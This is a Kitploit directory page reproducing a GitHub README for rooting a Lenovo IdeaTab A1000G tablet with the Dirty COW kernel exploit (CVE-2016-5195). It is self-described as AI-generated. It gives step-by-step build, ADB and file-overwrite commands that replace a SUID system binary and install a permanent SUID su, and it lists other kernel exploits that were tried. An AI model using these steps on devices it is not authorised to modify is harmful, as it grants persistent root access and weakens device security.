Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
lenovo-a1000g-mt8317-A412_01_09_130907-kernel-3.4.0-root-cve-2016-5195 — [AI-assisted] Root method for Lenovo IdeaTab A1000G (MT8317, kernel 3.4.0, Android 4.1) via CVE-2016-5195 (Dirty COW) | Kitploit
Tools/GitHubGitHub/voidgguy/lenovo-a1000g-mt8317-a412_01_09_130907-kernel-3.4.0-root-cve-2016-5195
Android SecurityPrivilege EscalationPersistence MechanismsExploitationPost-ExploitationMobile SecurityBinary Exploitation
GitHubvoidgguy/lenovo-a1000g-mt8317-a412_01_09_130907-kernel-3.4.0-root-cve-2016-5195

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

lenovo-a1000g-mt8317-A412_01_09_130907-kernel-3.4.0-root-cve-2016-5195

[AI-assisted] Root method for Lenovo IdeaTab A1000G (MT8317, kernel 3.4.0, Android 4.1) via CVE-2016-5195 (Dirty COW)

View Repository
1 month agoNot yet reviewed

Lenovo IdeaTab A1000G — Root

Note: This documentation and exploit code was generated with AI assistance (Kiro). Verify before use — AI can and does make mistakes.

Device

FieldValue
ModelLenovo IdeaTab A1000G
SoCMediaTek MT8317 (= MT6517)
CPUDual-core Cortex-A9 @ 1.2GHz
KernelLinux 3.4.0
BuildA1000G_A412_01_09_130907_2G
Android4.1.2 (Jelly Bean)

Prerequisites

  • USB debugging enabled
  • ADB connected
  • Android NDK r28+ at ~/Android/Sdk/ndk/
  • busybox-armv7l static binary (busybox.net/downloads/binaries/1.21.1/)

Exploit — CVE-2016-5195 (Dirty COW)

Race condition in kernel mmap/write path. Affects kernels 2.6.22–4.8.3. Target: /system/bin/run-as (SUID root, 9448 bytes).

1. Compile

root@kitploit:~
NDK=~/Android/Sdk/ndk/28.2.13676358/toolchains/llvm/prebuilt/linux-x86_64/bin
CC=$NDK/armv7a-linux-androideabi21-clang

# dcow exploit
$CC -o dcow -static -march=armv7-a -mfloat-abi=softfp -O1 \
    -UPRINT -UDEBUG "-DLOGV(...)=printf(__VA_ARGS__)" \
    dcow_main.c dirtycow_android.c

# su binary
$CC -o su -march=armv7-a -mfloat-abi=softfp -Os -s -fno-pie -no-pie su2_src.c

2. Pad su to target size (9448 bytes)

root@kitploit:~
with open('su', 'rb') as f: data = f.read()
data = data + b'\x00' * (9448 - len(data))
with open('su_padded', 'wb') as f: f.write(data)

3. Run

root@kitploit:~
adb push dcow su_padded su /data/local/tmp/
adb shell chmod 755 /data/local/tmp/dcow /data/local/tmp/su_padded /data/local/tmp/su
adb shell "/data/local/tmp/dcow /data/local/tmp/su_padded /system/bin/run-as"
# Wait for: [+] Success!

4. Install su permanently

root@kitploit:~
# Enter root shell first
adb shell /system/bin/run-as

# Then:
mount -o remount,rw /system
toolbox dd if=/data/local/tmp/su of=/system/bin/su
toolbox chmod 6755 /system/bin/su
toolbox chown root:root /system/bin/su

5. Install busybox (optional)

root@kitploit:~
# From PC:
adb push busybox-armv7l /data/local/tmp/busybox

# From root shell:
toolbox dd if=/data/local/tmp/busybox of=/system/bin/busybox
toolbox chmod 755 /system/bin/busybox
/system/bin/busybox --install /system/bin/

Usage

root@kitploit:~
adb shell
/system/bin/run-as   # drops to root shell (#)
id                   # uid=0(root)

adb shell /system/bin/su -c cmd does NOT work — ADB drops setuid. Must enter an interactive shell first.

Post-Root

  • /system/bin/run-as → overwritten (original run-as functionality broken)
  • /system/bin/su → permanent SUID su binary
  • /system/bin/busybox → busybox 1.21.1

Failed Attempts

MethodReason
CVE-2013-1763 sock_diagNot compiled into kernel

Files

root@kitploit:~
.
├── README.md
├── root.sh              # automated root script
├── dirtycow_android.c   # CVE-2016-5195 core (Arinerron fork)
├── dcow_main.c          # main() wrapper
└── su2_src.c            # su binary source

Precompiled binaries not included — compile from source using the steps above.

References

  • CVE-2016-5195 source: Arinerron/CVE-2016-5195
  • Firmware ROM (different build, used for kernel symbol extraction only): Lenovo_A1000G_MT6577_01_24_130329 — symbols from this ROM work on build A412_01_09_130907 as both share the same kernel virtual layout
Download Tool
CVE-2013-6282 get_user/put_userldrt/strt blocked on Cortex-A9
CVE-2014-3153 TowelrootKernel panic — sendmmsg iovstack offset wrong for MTK
Framaroot AdbActivityNullPointerException, incompatible
/proc/self/mem overwriteKernel addresses inaccessible from userspace